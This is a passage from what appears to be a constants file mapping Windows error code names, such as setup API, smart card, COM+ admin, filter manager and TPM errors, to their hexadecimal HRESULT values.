0x800D0199\nNS_I_CATATONIC_AUTO_UNFAIL                                   = 0x800D019A\nSPAPI_E_EXPECTED_SECTION_NAME                                = 0x800F0000\nSPAPI_E_BAD_SECTION_NAME_LINE                                = 0x800F0001\nSPAPI_E_SECTION_NAME_TOO_LONG                                = 0x800F0002\nSPAPI_E_GENERAL_SYNTAX                                       = 0x800F0003\nSPAPI_E_WRONG_INF_STYLE                                      = 0x800F0100\nSPAPI_E_SECTION_NOT_FOUND                                    = 0x800F0101\nSPAPI_E_LINE_NOT_FOUND                                       = 0x800F0102\nSPAPI_E_NO_BACKUP                                            = 0x800F0103\nSPAPI_E_NO_ASSOCIATED_CLASS                                  = 0x800F0200\nSPAPI_E_CLASS_MISMATCH                                       = 0x800F0201\nSPAPI_E_DUPLICATE_FOUND                                      = 0x800F0202\nSPAPI_E_NO_DRIVER_SELECTED                                   = 0x800F0203\nSPAPI_E_KEY_DOES_NOT_EXIST                                   = 0x800F0204\nSPAPI_E_INVALID_DEVINST_NAME                                 = 0x800F0205\nSPAPI_E_INVALID_CLASS                                        = 0x800F0206\nSPAPI_E_DEVINST_ALREADY_EXISTS                               = 0x800F0207\nSPAPI_E_DEVINFO_NOT_REGISTERED                               = 0x800F0208\nSPAPI_E_INVALID_REG_PROPERTY                                 = 0x800F0209\nSPAPI_E_NO_INF                                               = 0x800F020A\nSPAPI_E_NO_SUCH_DEVINST                                      = 0x800F020B\nSPAPI_E_CANT_LOAD_CLASS_ICON                                 = 0x800F020C\nSPAPI_E_INVALID_CLASS_INSTALLER                              = 0x800F020D\nSPAPI_E_DI_DO_DEFAULT                                        = 0x800F020E\nSPAPI_E_DI_NOFILECOPY                                        = 0x800F020F\nSPAPI_E_INVALID_HWPROFILE                                    = 0x800F0210\nSPAPI_E_NO_DEVICE_SELECTED                                   = 0x800F0211\nSPAPI_E_DEVINFO_LIST_LOCKED                                  = 0x800F0212\nSPAPI_E_DEVINFO_DATA_LOCKED                                  = 0x800F0213\nSPAPI_E_DI_BAD_PATH                                          = 0x800F0214\nSPAPI_E_NO_CLASSINSTALL_PARAMS                               = 0x800F0215\nSPAPI_E_FILEQUEUE_LOCKED                                     = 0x800F0216\nSPAPI_E_BAD_SERVICE_INSTALLSECT                              = 0x800F0217\nSPAPI_E_NO_CLASS_DRIVER_LIST                                 = 0x800F0218\nSPAPI_E_NO_ASSOCIATED_SERVICE                                = 0x800F0219\nSPAPI_E_NO_DEFAULT_DEVICE_INTERFACE                          = 0x800F021A\nSPAPI_E_DEVICE_INTERFACE_ACTIVE                              = 0x800F021B\nSPAPI_E_DEVICE_INTERFACE_REMOVED                             = 0x800F021C\nSPAPI_E_BAD_INTERFACE_INSTALLSECT                            = 0x800F021D\nSPAPI_E_NO_SUCH_INTERFACE_CLASS                              = 0x800F021E\nSPAPI_E_INVALID_REFERENCE_STRING                             = 0x800F021F\nSPAPI_E_INVALID_MACHINENAME                                  = 0x800F0220\nSPAPI_E_REMOTE_COMM_FAILURE                                  = 0x800F0221\nSPAPI_E_MACHINE_UNAVAILABLE                                  = 0x800F0222\nSPAPI_E_NO_CONFIGMGR_SERVICES                                = 0x800F0223\nSPAPI_E_INVALID_PROPPAGE_PROVIDER                            = 0x800F0224\nSPAPI_E_NO_SUCH_DEVICE_INTERFACE                             = 0x800F0225\nSPAPI_E_DI_POSTPROCESSING_REQUIRED                           = 0x800F0226\nSPAPI_E_INVALID_COINSTALLER                                  = 0x800F0227\nSPAPI_E_NO_COMPAT_DRIVERS                                    = 0x800F0228\nSPAPI_E_NO_DEVICE_ICON                                       = 0x800F0229\nSPAPI_E_INVALID_INF_LOGCONFIG                                = 0x800F022A\nSPAPI_E_DI_DONT_INSTALL                                      = 0x800F022B\nSPAPI_E_INVALID_FILTER_DRIVER                                = 0x800F022C\nSPAPI_E_NON_WINDOWS_NT_DRIVER                                = 0x800F022D\nSPAPI_E_NON_WINDOWS_DRIVER                                   = 0x800F022E\nSPAPI_E_NO_CATALOG_FOR_OEM_INF                               = 0x800F022F\nSPAPI_E_DEVINSTALL_QUEUE_NONNATIVE                           = 0x800F0230\nSPAPI_E_NOT_DISABLEABLE                                      = 0x800F0231\nSPAPI_E_CANT_REMOVE_DEVINST                                  = 0x800F0232\nSPAPI_E_INVALID_TARGET                                       = 0x800F0233\nSPAPI_E_DRIVER_NONNATIVE                                     = 0x800F0234\nSPAPI_E_IN_WOW64                                             = 0x800F0235\nSPAPI_E_SET_SYSTEM_RESTORE_POINT                             = 0x800F0236\nSPAPI_E_INCORRECTLY_COPIED_INF                               = 0x800F0237\nSPAPI_E_SCE_DISABLED                                         = 0x800F0238\nSPAPI_E_UNKNOWN_EXCEPTION                                    = 0x800F0239\nSPAPI_E_PNP_REGISTRY_ERROR                                   = 0x800F023A\nSPAPI_E_REMOTE_REQUEST_UNSUPPORTED                           = 0x800F023B\nSPAPI_E_NOT_AN_INSTALLED_OEM_INF                             = 0x800F023C\nSPAPI_E_INF_IN_USE_BY_DEVICES                                = 0x800F023D\nSPAPI_E_DI_FUNCTION_OBSOLETE                                 = 0x800F023E\nSPAPI_E_NO_AUTHENTICODE_CATALOG                              = 0x800F023F\nSPAPI_E_AUTHENTICODE_DISALLOWED                              = 0x800F0240\nSPAPI_E_AUTHENTICODE_TRUSTED_PUBLISHER                       = 0x800F0241\nSPAPI_E_AUTHENTICODE_TRUST_NOT_ESTABLISHED                   = 0x800F0242\nSPAPI_E_AUTHENTICODE_PUBLISHER_NOT_TRUSTED                   = 0x800F0243\nSPAPI_E_SIGNATURE_OSATTRIBUTE_MISMATCH                       = 0x800F0244\nSPAPI_E_ONLY_VALIDATE_VIA_AUTHENTICODE                       = 0x800F0245\nSPAPI_E_DEVICE_INSTALLER_NOT_READY                           = 0x800F0246\nSPAPI_E_DRIVER_STORE_ADD_FAILED                              = 0x800F0247\nSPAPI_E_DEVICE_INSTALL_BLOCKED                               = 0x800F0248\nSPAPI_E_DRIVER_INSTALL_BLOCKED                               = 0x800F0249\nSPAPI_E_WRONG_INF_TYPE                                       = 0x800F024A\nSPAPI_E_FILE_HASH_NOT_IN_CATALOG                             = 0x800F024B\nSPAPI_E_DRIVER_STORE_DELETE_FAILED                           = 0x800F024C\nSPAPI_E_UNRECOVERABLE_STACK_OVERFLOW                         = 0x800F0300\nSPAPI_E_ERROR_NOT_INSTALLED                                  = 0x800F1000\nSCARD_F_INTERNAL_ERROR                                       = 0x80100001\nSCARD_E_CANCELLED                                            = 0x80100002\nSCARD_E_INVALID_HANDLE                                       = 0x80100003\nSCARD_E_INVALID_PARAMETER                                    = 0x80100004\nSCARD_E_INVALID_TARGET                                       = 0x80100005\nSCARD_E_NO_MEMORY                                            = 0x80100006\nSCARD_F_WAITED_TOO_LONG                                      = 0x80100007\nSCARD_E_INSUFFICIENT_BUFFER                                  = 0x80100008\nSCARD_E_UNKNOWN_READER                                       = 0x80100009\nSCARD_E_TIMEOUT                                              = 0x8010000A\nSCARD_E_SHARING_VIOLATION                                    = 0x8010000B\nSCARD_E_NO_SMARTCARD                                         = 0x8010000C\nSCARD_E_UNKNOWN_CARD                                         = 0x8010000D\nSCARD_E_CANT_DISPOSE                                         = 0x8010000E\nSCARD_E_PROTO_MISMATCH                                       = 0x8010000F\nSCARD_E_NOT_READY                                            = 0x80100010\nSCARD_E_INVALID_VALUE                                        = 0x80100011\nSCARD_E_SYSTEM_CANCELLED                                     = 0x80100012\nSCARD_F_COMM_ERROR                                           = 0x80100013\nSCARD_F_UNKNOWN_ERROR                                        = 0x80100014\nSCARD_E_INVALID_ATR                                          = 0x80100015\nSCARD_E_NOT_TRANSACTED                                       = 0x80100016\nSCARD_E_READER_UNAVAILABLE                                   = 0x80100017\nSCARD_P_SHUTDOWN                                             = 0x80100018\nSCARD_E_PCI_TOO_SMALL                                        = 0x80100019\nSCARD_E_READER_UNSUPPORTED                                   = 0x8010001A\nSCARD_E_DUPLICATE_READER                                     = 0x8010001B\nSCARD_E_CARD_UNSUPPORTED                                     = 0x8010001C\nSCARD_E_NO_SERVICE                                           = 0x8010001D\nSCARD_E_SERVICE_STOPPED                                      = 0x8010001E\nSCARD_E_UNEXPECTED                                           = 0x8010001F\nSCARD_E_ICC_INSTALLATION                                     = 0x80100020\nSCARD_E_ICC_CREATEORDER                                      = 0x80100021\nSCARD_E_UNSUPPORTED_FEATURE                                  = 0x80100022\nSCARD_E_DIR_NOT_FOUND                                        = 0x80100023\nSCARD_E_FILE_NOT_FOUND                                       = 0x80100024\nSCARD_E_NO_DIR                                               = 0x80100025\nSCARD_E_NO_FILE                                              = 0x80100026\nSCARD_E_NO_ACCESS                                            = 0x80100027\nSCARD_E_WRITE_TOO_MANY                                       = 0x80100028\nSCARD_E_BAD_SEEK                                             = 0x80100029\nSCARD_E_INVALID_CHV                                          = 0x8010002A\nSCARD_E_UNKNOWN_RES_MNG                                      = 0x8010002B\nSCARD_E_NO_SUCH_CERTIFICATE                                  = 0x8010002C\nSCARD_E_CERTIFICATE_UNAVAILABLE                              = 0x8010002D\nSCARD_E_NO_READERS_AVAILABLE                                 = 0x8010002E\nSCARD_E_COMM_DATA_LOST                                       = 0x8010002F\nSCARD_E_NO_KEY_CONTAINER                                     = 0x80100030\nSCARD_E_SERVER_TOO_BUSY                                      = 0x80100031\nSCARD_W_UNSUPPORTED_CARD                                     = 0x80100065\nSCARD_W_UNRESPONSIVE_CARD                                    = 0x80100066\nSCARD_W_UNPOWERED_CARD                                       = 0x80100067\nSCARD_W_RESET_CARD                                           = 0x80100068\nSCARD_W_REMOVED_CARD                                         = 0x80100069\nSCARD_W_SECURITY_VIOLATION                                   = 0x8010006A\nSCARD_W_WRONG_CHV                                            = 0x8010006B\nSCARD_W_CHV_BLOCKED                                          = 0x8010006C\nSCARD_W_EOF                                                  = 0x8010006D\nSCARD_W_CANCELLED_BY_USER                                    = 0x8010006E\nSCARD_W_CARD_NOT_AUTHENTICATED                               = 0x8010006F\nCOMADMIN_E_OBJECTERRORS                                      = 0x80110401\nCOMADMIN_E_OBJECTINVALID                                     = 0x80110402\nCOMADMIN_E_KEYMISSING                                        = 0x80110403\nCOMADMIN_E_ALREADYINSTALLED                                  = 0x80110404\nCOMADMIN_E_APP_FILE_WRITEFAIL                                = 0x80110407\nCOMADMIN_E_APP_FILE_READFAIL                                 = 0x80110408\nCOMADMIN_E_APP_FILE_VERSION                                  = 0x80110409\nCOMADMIN_E_BADPATH                                           = 0x8011040A\nCOMADMIN_E_APPLICATIONEXISTS                                 = 0x8011040B\nCOMADMIN_E_ROLEEXISTS                                        = 0x8011040C\nCOMADMIN_E_CANTCOPYFILE                                      = 0x8011040D\nCOMADMIN_E_NOUSER                                            = 0x8011040F\nCOMADMIN_E_INVALIDUSERIDS                                    = 0x80110410\nCOMADMIN_E_NOREGISTRYCLSID                                   = 0x80110411\nCOMADMIN_E_BADREGISTRYPROGID                                 = 0x80110412\nCOMADMIN_E_AUTHENTICATIONLEVEL                               = 0x80110413\nCOMADMIN_E_USERPASSWDNOTVALID                                = 0x80110414\nCOMADMIN_E_CLSIDORIIDMISMATCH                                = 0x80110418\nCOMADMIN_E_REMOTEINTERFACE                                   = 0x80110419\nCOMADMIN_E_DLLREGISTERSERVER                                 = 0x8011041A\nCOMADMIN_E_NOSERVERSHARE                                     = 0x8011041B\nCOMADMIN_E_DLLLOADFAILED                                     = 0x8011041D\nCOMADMIN_E_BADREGISTRYLIBID                                  = 0x8011041E\nCOMADMIN_E_APPDIRNOTFOUND                                    = 0x8011041F\nCOMADMIN_E_REGISTRARFAILED                                   = 0x80110423\nCOMADMIN_E_COMPFILE_DOESNOTEXIST                             = 0x80110424\nCOMADMIN_E_COMPFILE_LOADDLLFAIL                              = 0x80110425\nCOMADMIN_E_COMPFILE_GETCLASSOBJ                              = 0x80110426\nCOMADMIN_E_COMPFILE_CLASSNOTAVAIL                            = 0x80110427\nCOMADMIN_E_COMPFILE_BADTLB                                   = 0x80110428\nCOMADMIN_E_COMPFILE_NOTINSTALLABLE                           = 0x80110429\nCOMADMIN_E_NOTCHANGEABLE                                     = 0x8011042A\nCOMADMIN_E_NOTDELETEABLE                                     = 0x8011042B\nCOMADMIN_E_SESSION                                           = 0x8011042C\nCOMADMIN_E_COMP_MOVE_LOCKED                                  = 0x8011042D\nCOMADMIN_E_COMP_MOVE_BAD_DEST                                = 0x8011042E\nCOMADMIN_E_REGISTERTLB                                       = 0x80110430\nCOMADMIN_E_SYSTEMAPP                                         = 0x80110433\nCOMADMIN_E_COMPFILE_NOREGISTRAR                              = 0x80110434\nCOMADMIN_E_COREQCOMPINSTALLED                                = 0x80110435\nCOMADMIN_E_SERVICENOTINSTALLED                               = 0x80110436\nCOMADMIN_E_PROPERTYSAVEFAILED                                = 0x80110437\nCOMADMIN_E_OBJECTEXISTS                                      = 0x80110438\nCOMADMIN_E_COMPONENTEXISTS                                   = 0x80110439\nCOMADMIN_E_REGFILE_CORRUPT                                   = 0x8011043B\nCOMADMIN_E_PROPERTY_OVERFLOW                                 = 0x8011043C\nCOMADMIN_E_NOTINREGISTRY                                     = 0x8011043E\nCOMADMIN_E_OBJECTNOTPOOLABLE                                 = 0x8011043F\nCOMADMIN_E_APPLID_MATCHES_CLSID                              = 0x80110446\nCOMADMIN_E_ROLE_DOES_NOT_EXIST                               = 0x80110447\nCOMADMIN_E_START_APP_NEEDS_COMPONENTS                        = 0x80110448\nCOMADMIN_E_REQUIRES_DIFFERENT_PLATFORM                       = 0x80110449\nCOMADMIN_E_CAN_NOT_EXPORT_APP_PROXY                          = 0x8011044A\nCOMADMIN_E_CAN_NOT_START_APP                                 = 0x8011044B\nCOMADMIN_E_CAN_NOT_EXPORT_SYS_APP                            = 0x8011044C\nCOMADMIN_E_CANT_SUBSCRIBE_TO_COMPONENT                       = 0x8011044D\nCOMADMIN_E_EVENTCLASS_CANT_BE_SUBSCRIBER                     = 0x8011044E\nCOMADMIN_E_LIB_APP_PROXY_INCOMPATIBLE                        = 0x8011044F\nCOMADMIN_E_BASE_PARTITION_ONLY                               = 0x80110450\nCOMADMIN_E_START_APP_DISABLED                                = 0x80110451\nCOMADMIN_E_CAT_DUPLICATE_PARTITION_NAME                      = 0x80110457\nCOMADMIN_E_CAT_INVALID_PARTITION_NAME                        = 0x80110458\nCOMADMIN_E_CAT_PARTITION_IN_USE                              = 0x80110459\nCOMADMIN_E_FILE_PARTITION_DUPLICATE_FILES                    = 0x8011045A\nCOMADMIN_E_CAT_IMPORTED_COMPONENTS_NOT_ALLOWED               = 0x8011045B\nCOMADMIN_E_AMBIGUOUS_APPLICATION_NAME                        = 0x8011045C\nCOMADMIN_E_AMBIGUOUS_PARTITION_NAME                          = 0x8011045D\nCOMADMIN_E_REGDB_NOTINITIALIZED                              = 0x80110472\nCOMADMIN_E_REGDB_NOTOPEN                                     = 0x80110473\nCOMADMIN_E_REGDB_SYSTEMERR                                   = 0x80110474\nCOMADMIN_E_REGDB_ALREADYRUNNING                              = 0x80110475\nCOMADMIN_E_MIG_VERSIONNOTSUPPORTED                           = 0x80110480\nCOMADMIN_E_MIG_SCHEMANOTFOUND                                = 0x80110481\nCOMADMIN_E_CAT_BITNESSMISMATCH                               = 0x80110482\nCOMADMIN_E_CAT_UNACCEPTABLEBITNESS                           = 0x80110483\nCOMADMIN_E_CAT_WRONGAPPBITNESS                               = 0x80110484\nCOMADMIN_E_CAT_PAUSE_RESUME_NOT_SUPPORTED                    = 0x80110485\nCOMADMIN_E_CAT_SERVERFAULT                                   = 0x80110486\nCOMQC_E_APPLICATION_NOT_QUEUED                               = 0x80110600\nCOMQC_E_NO_QUEUEABLE_INTERFACES                              = 0x80110601\nCOMQC_E_QUEUING_SERVICE_NOT_AVAILABLE                        = 0x80110602\nCOMQC_E_NO_IPERSISTSTREAM                                    = 0x80110603\nCOMQC_E_BAD_MESSAGE                                          = 0x80110604\nCOMQC_E_UNAUTHENTICATED                                      = 0x80110605\nCOMQC_E_UNTRUSTED_ENQUEUER                                   = 0x80110606\nMSDTC_E_DUPLICATE_RESOURCE                                   = 0x80110701\nCOMADMIN_E_OBJECT_PARENT_MISSING                             = 0x80110808\nCOMADMIN_E_OBJECT_DOES_NOT_EXIST                             = 0x80110809\nCOMADMIN_E_APP_NOT_RUNNING                                   = 0x8011080A\nCOMADMIN_E_INVALID_PARTITION                                 = 0x8011080B\nCOMADMIN_E_SVCAPP_NOT_POOLABLE_OR_RECYCLABLE                 = 0x8011080D\nCOMADMIN_E_USER_IN_SET                                       = 0x8011080E\nCOMADMIN_E_CANTRECYCLELIBRARYAPPS                            = 0x8011080F\nCOMADMIN_E_CANTRECYCLESERVICEAPPS                            = 0x80110811\nCOMADMIN_E_PROCESSALREADYRECYCLED                            = 0x80110812\nCOMADMIN_E_PAUSEDPROCESSMAYNOTBERECYCLED                     = 0x80110813\nCOMADMIN_E_CANTMAKEINPROCSERVICE                             = 0x80110814\nCOMADMIN_E_PROGIDINUSEBYCLSID                                = 0x80110815\nCOMADMIN_E_DEFAULT_PARTITION_NOT_IN_SET                      = 0x80110816\nCOMADMIN_E_RECYCLEDPROCESSMAYNOTBEPAUSED                     = 0x80110817\nCOMADMIN_E_PARTITION_ACCESSDENIED                            = 0x80110818\nCOMADMIN_E_PARTITION_MSI_ONLY                                = 0x80110819\nCOMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_1_0_FORMAT             = 0x8011081A\nCOMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_NONBASE_PARTITIONS     = 0x8011081B\nCOMADMIN_E_COMP_MOVE_SOURCE                                  = 0x8011081C\nCOMADMIN_E_COMP_MOVE_DEST                                    = 0x8011081D\nCOMADMIN_E_COMP_MOVE_PRIVATE                                 = 0x8011081E\nCOMADMIN_E_BASEPARTITION_REQUIRED_IN_SET                     = 0x8011081F\nCOMADMIN_E_CANNOT_ALIAS_EVENTCLASS                           = 0x80110820\nCOMADMIN_E_PRIVATE_ACCESSDENIED                              = 0x80110821\nCOMADMIN_E_SAFERINVALID                                      = 0x80110822\nCOMADMIN_E_REGISTRY_ACCESSDENIED                             = 0x80110823\nCOMADMIN_E_PARTITIONS_DISABLED                               = 0x80110824\nERROR_FLT_NO_HANDLER_DEFINED                                 = 0x801F0001\nERROR_FLT_CONTEXT_ALREADY_DEFINED                            = 0x801F0002\nERROR_FLT_INVALID_ASYNCHRONOUS_REQUEST                       = 0x801F0003\nERROR_FLT_DISALLOW_FAST_IO                                   = 0x801F0004\nERROR_FLT_INVALID_NAME_REQUEST                               = 0x801F0005\nERROR_FLT_NOT_SAFE_TO_POST_OPERATION                         = 0x801F0006\nERROR_FLT_NOT_INITIALIZED                                    = 0x801F0007\nERROR_FLT_FILTER_NOT_READY                                   = 0x801F0008\nERROR_FLT_POST_OPERATION_CLEANUP                             = 0x801F0009\nERROR_FLT_INTERNAL_ERROR                                     = 0x801F000A\nERROR_FLT_DELETING_OBJECT                                    = 0x801F000B\nERROR_FLT_MUST_BE_NONPAGED_POOL                              = 0x801F000C\nERROR_FLT_DUPLICATE_ENTRY                                    = 0x801F000D\nERROR_FLT_CBDQ_DISABLED                                      = 0x801F000E\nERROR_FLT_DO_NOT_ATTACH                                      = 0x801F000F\nERROR_FLT_DO_NOT_DETACH                                      = 0x801F0010\nERROR_FLT_INSTANCE_ALTITUDE_COLLISION                        = 0x801F0011\nERROR_FLT_INSTANCE_NAME_COLLISION                            = 0x801F0012\nERROR_FLT_FILTER_NOT_FOUND                                   = 0x801F0013\nERROR_FLT_VOLUME_NOT_FOUND                                   = 0x801F0014\nERROR_FLT_INSTANCE_NOT_FOUND                                 = 0x801F0015\nERROR_FLT_CONTEXT_ALLOCATION_NOT_FOUND                       = 0x801F0016\nERROR_FLT_INVALID_CONTEXT_REGISTRATION                       = 0x801F0017\nERROR_FLT_NAME_CACHE_MISS                                    = 0x801F0018\nERROR_FLT_NO_DEVICE_OBJECT                                   = 0x801F0019\nERROR_FLT_VOLUME_ALREADY_MOUNTED                             = 0x801F001A\nERROR_FLT_ALREADY_ENLISTED                                   = 0x801F001B\nERROR_FLT_CONTEXT_ALREADY_LINKED                             = 0x801F001C\nERROR_FLT_NO_WAITER_FOR_REPLY                                = 0x801F0020\nERROR_HUNG_DISPLAY_DRIVER_THREAD                             = 0x80260001\nERROR_MONITOR_NO_DESCRIPTOR                                  = 0x80261001\nERROR_MONITOR_UNKNOWN_DESCRIPTOR_FORMAT                      = 0x80261002\nDWM_E_COMPOSITIONDISABLED                                    = 0x80263001\nDWM_E_REMOTING_NOT_SUPPORTED                                 = 0x80263002\nDWM_E_NO_REDIRECTION_SURFACE_AVAILABLE                       = 0x80263003\nDWM_E_NOT_QUEUING_PRESENTS                                   = 0x80263004\nTPM_E_ERROR_MASK                                             = 0x80280000\nTPM_E_AUTHFAIL                                               = 0x80280001\nTPM_E_BADINDEX                                               = 0x80280002\nTPM_E_BAD_PARAMETER                                          = 0x80280003\nTPM_E_AUDITFAILURE                                           = 0x80280004\nTPM_E_CLEAR_DISABLED                                         = 0x80280005\nTPM_E_DEACTIVATED                                            = 0x80280006\nTPM_E_DISABLED                                               = 0x80280007\nTPM_E_DISABLED_CMD                                           = 0x80280008\nTPM_E_FAIL                                                   = 0x80280009\nTPM_E_BAD_ORDINAL                                            = 0x8028000A\nTPM_E_INSTALL_DISABLED                                       = 0x8028000B\nTPM_E_INVALID_KEYHANDLE                                      = 0x8028000C\nTPM_E_KEYNOTFOUND                                            = 0x8028000D\nTPM_E_INAPPROPRIATE_ENC                                      = 0x8028000E\nTPM_E_MIGRATEFAIL                                            = 0x8028000F\nTPM_E_INVALID_PCR_INFO                                       = 0x80280010\nTPM_E_NOSPACE                                                = 0x80280011\nTPM_E_NOSRK                                                  = 0x80280012\nTPM_E_NOTSEALED_BLOB                                         = 0x80280013\nTPM_E_OWNER_SET                                              = 0x80280014\nTPM_E_RESOURCES                                              = 0x80280015\nTPM_E_SHORTRANDOM                                            = 0x80280016\nTPM_E_SIZE                                                   = 0x80280017\nTPM_E_WRONGPCRVAL                                            = 0x80280018\nTPM_E_BAD_PARAM_SIZE                                         = 0x80280019\nTPM_E_SHA_THREAD                                             = 0x8028001A\nTPM_E_SHA_ERROR                                              = 0x8028001B\nTPM_E_FAILEDSELFTEST                                         = 0x8028001C\nTPM_E_AUTH2FAIL                                              = 0x8028001D\nTPM_E_BADTAG                                                 = 0x8028001E\nTPM_E_IOERROR                                                = 0x8028001F\nTPM_E_ENCRYPT_ERROR                                          = 0x80280020\nTPM_E_DECRYPT_ERROR                                          = 0x80280021\nTPM_E_INVALID_AUTHHANDLE                                     = 0x80280022\nTPM_E_NO_ENDORSEMENT                                         = 0x80280023\nTPM_E_INVALID_KEYUSAGE                                       = 0x80280024\nTPM_E_WRONG_ENTITYTYPE                                       = 0x80280025\nTPM_E_INVALID_POSTINIT                                       = 0x80280026\nTPM_E_INAPPROPRIATE_SIG                                      = 0x80280027\nTPM_E_BAD_KEY_PROPERTY                                       = 0x80280028\nTPM_E_BAD_MIGRATION                                          = 0x80280029\nTPM_E_BAD_SCHEME                                             = 0x8028002A\nTPM_E_BAD_DATASIZE                                           = 0x8028002B\nTPM_E_BAD_MODE                                               = 0x8028002C\nTPM_E_BAD_PRESENCE                                           = 0x8028002D\nTPM_E_BAD_VERSION                                            = 0x8028002E\nTPM_E_NO_WRAP_TRANSPORT                                      = 0x8028002F\nTPM_E_AUDITFAIL_UNSUCCESSFUL                                 = 0x80280030\nTPM_E_AUDITFAIL_SUCCESSFUL                                   = 0x80280031\nTPM_E_NOTRESETABLE                                           = 0x80280032\nTPM_E_NOTLOCAL                                               = 0x80280033\nTPM_E_BAD_TYPE                                               = 0x80280034\nTPM_E_INVALID_RESOURCE                                       = 0x80280035\nTPM_E_NOTFIPS                                                = 0x80280036\nTPM_E_INVALID_FAMILY                                         = 0x80280037\nTPM_E_NO_NV_PERMISSION                                       = 0x80280038\nTPM_E_REQUIRES_SIGN                                          = 0x80280039\nTPM_E_KEY_NOTSUPPORTED                                       = 0x8028003A\nTPM_E_AUTH_CONFLICT                                          = 0x8028003B\nTPM_E_AREA_LOCKED                                            = 0x8028003C\nTPM_E_BAD_LOCALITY                                           = 0x8028003D\nTPM_E_READ_ONLY                                              = 0x8028003E\nTPM_E_PER_NOWRITE                                            = 0x8028003F\nTPM_E_FAMILYCOUNT                                            = 0x80280040\nTPM_E_WRITE_LOCKED                                           = 0x80280041\nTPM_E_BAD_ATTRIBUTES                                         = 0x80280042\nTPM_E_INVALID_STRUCTURE                                      = 0x80280043\nTPM_E_KEY_OWNER_CONTROL                                      = 0x80280044\nTPM_E_BAD_COUNTER                                            = 0x80280045\nTPM_E_NOT_FULLWRITE                                          = 0x80280046\nTPM_E_CONTEXT_GAP                                            = 0x80280047\nTPM_E_MAXNVWRITES                                            = 0x80280048\nTPM_E_NOOPERATOR                                             = 0x80280049\nTPM_E_RESOURCEMISSING                                        = 0x8028004A\nTPM_E_DELEGATE_LOCK                                          = 0x8028004B\nTPM_E_DELEGATE_FAMILY                                        = 0x8028004C\nTPM_E_DELEGATE_ADMIN                                         = 0x8028004D\nTPM_E_TRANSPORT_NOTEXCLUSIVE                                 = 0x8028004E\nTPM_E_OWNER_CONTROL                                          = 0x8028004F\nTPM_E_DAA_RESOURCES                                          = 0x80280050\nTPM_E_DAA_INPUT_DATA0                                        = 0x80280051\nTPM_E_DAA_INPUT_DATA1                                        = 0x80280052\nTPM_E_DAA_ISSUER_SETTINGS                                    = 0x80280053\nTPM_E_DAA_TPM_SETTINGS                                       = 0x80280054\nTPM_E_DAA_STAGE                                              = 0x80280055\nTPM_E_DAA_ISSUER_VALIDITY                                    = 0x80280056\nTPM_E_DAA_WRONG_W                                            = 0x80280057\nTPM_E_BAD_HANDLE                                             = 0x80280058\nTPM_E_BAD_DELEGATE                                           = 0x80280059\nTPM_E_BADCONTEXT                                             = 0x8028005A\nTPM_E_TOOMANYCONTEXTS                                        = 0x8028005B\nTPM_E_MA_TICKET_SIGNATURE                                    = 0x8028005C\nTPM_E_MA_DESTINATION                                         = 0x8028005D\nTPM_E_MA_SOURCE                                              = 0x8028005E\nTPM_E_MA_AUTHORITY                                           = 0x8028005F\nTPM_E_PERMANENTEK                                            = 0x80280061\nTPM_E_BAD_SIGNATURE                                          = 0x80280062\nTPM_E_NOCONTEXTSPACE                                         = 0x80280063\nTPM_E_COMMAND_BLOCKED                                        = 0x80280400\nTPM_E_INVALID_HANDLE                                         = 0x80280401\nTPM_E_DUPLICATE_VHANDLE                                      = 0x80280402\nTPM_E_EMBEDDED_COMMAND_BLOCKED                               = 0x80280403\nTPM_E_EMBEDDED_COMMAND_UNSUPPORTED                           = 0x80280404\nTPM_E_RETRY                                                  = 0x80280800\nTPM_E_NEEDS_SELFTEST                                         = 0x80280801\nTPM_E_DOING_SELFTEST                                         = 0x80280802\nTPM_E_DEFEND_LOCK_RUNNING                                    = 0x80280803\nTBS_E_INTERNAL_ERROR                                         = 0x80284001\nTBS_E_BAD_PARAMETER                                          = 0x80284002\nTBS_E_INVALID_OUTPUT_POINTER                                 = 0x80284003\nTBS_E_INVALID_CONTEXT                                        = 0x80284004\nTBS_E_INSUFFICIENT_BUFFER                                    = 0x80284005\nTBS_E_IOERROR                                                = 0x80284006\nTBS_E_INVALID_CONTEXT_PARAM                                  = 0x80284007\nTBS_E_SERVICE_NOT_RUNNING                                    = 0x80284008\nTBS_E_TOO_MANY_TBS_CONTEXTS                                  = 0x80284009\nTBS_E_TOO_MANY_RESOURCES                                     = 0x8028400A\nTBS_E_SERVICE_START_PENDING                                  = 0x8028400B\nTBS_E_PPI_NOT_SUPPORTED                                      = 0x8028400C\nTBS_E_COMMAND_CANCELED                                       = 0x8028400D\nTBS_E_BUFFER_TOO_LARGE                                       = 0x8028400E\nTPMAPI_E_INVALID_STATE                                       = 0x80290100\nTPMAPI_E_NOT_ENOUGH_DATA                                     = 0x80290101\nTPMAPI_E_TOO_MUCH_DATA                                       = 0x80290102\nTPMAPI_E_INVALID_OUTPUT_POINTER                              = 0x80290103\nTPMAPI_E_INVALID_PARAMETER                                   = 0x80290104\nTPMAPI_E_OUT_OF_MEMORY                                       = 0x80290105\nTPMAPI_E_BUFFER_TOO_SMALL                                    = 0x80290106\nTPMAPI_E_INTERNAL_ERROR                                      = 0x80290107\nTPMAPI_E_ACCESS_DENIED                                       = 0x80290108\nTPMAPI_E_AUTHORIZATION_FAILED                                = 0x80290109\nTPMAPI_E_INVALID_CONTEXT_HANDLE                              = 0x8029010A\nTPMAPI_E_TBS_COMMUNICATION_ERROR                             = 0x8029010B\nTPMAPI_E_TPM_COMMAND_ERROR                                   = 0x8029010C\nTPMAPI_E_MESSAGE_TOO_LARGE                                   = 0x8029010D\nTPMAPI_E_INVALID_ENCODING                                    = 0x8029010E\nTPMAPI_E_INVALID_KEY_SIZE                                    = 0x8029010F\nTPMAPI_E_ENCRYPTION_FAILED                                   = 0x80290110\nTPMAPI_E_INVALID_KEY_PARAMS                                  = 0x80290111\nTPMAPI_E_INVALID_MIGRATION_AUTHORIZATION_BLOB                = 0x80290112\nTPMAPI_E_INVALID_PCR_INDEX                                   = 0x80290113\nTPMAPI_E_INVALID_DELEGATE_BLOB                               = 0x80290114\nTPMAPI_E_INVALID_CONTEXT_PARAMS                              = 0x80290115\nTPMAPI_E_INVALID_KEY_BLOB                                    = 0x80290116\nTPMAPI_E_INVALID_PCR_DATA                                    = 0x80290117\nTPMAPI_E_INVALID_OWNER_AUTH                                  = 0x80290118\nTBSIMP_E_BUFFER_TOO_SMALL                                    = 0x80290200\nTBSIMP_E_CLEANUP_FAILED                                      = 0x80290201\nTBSIMP_E_INVALID_CONTEXT_HANDLE                              = 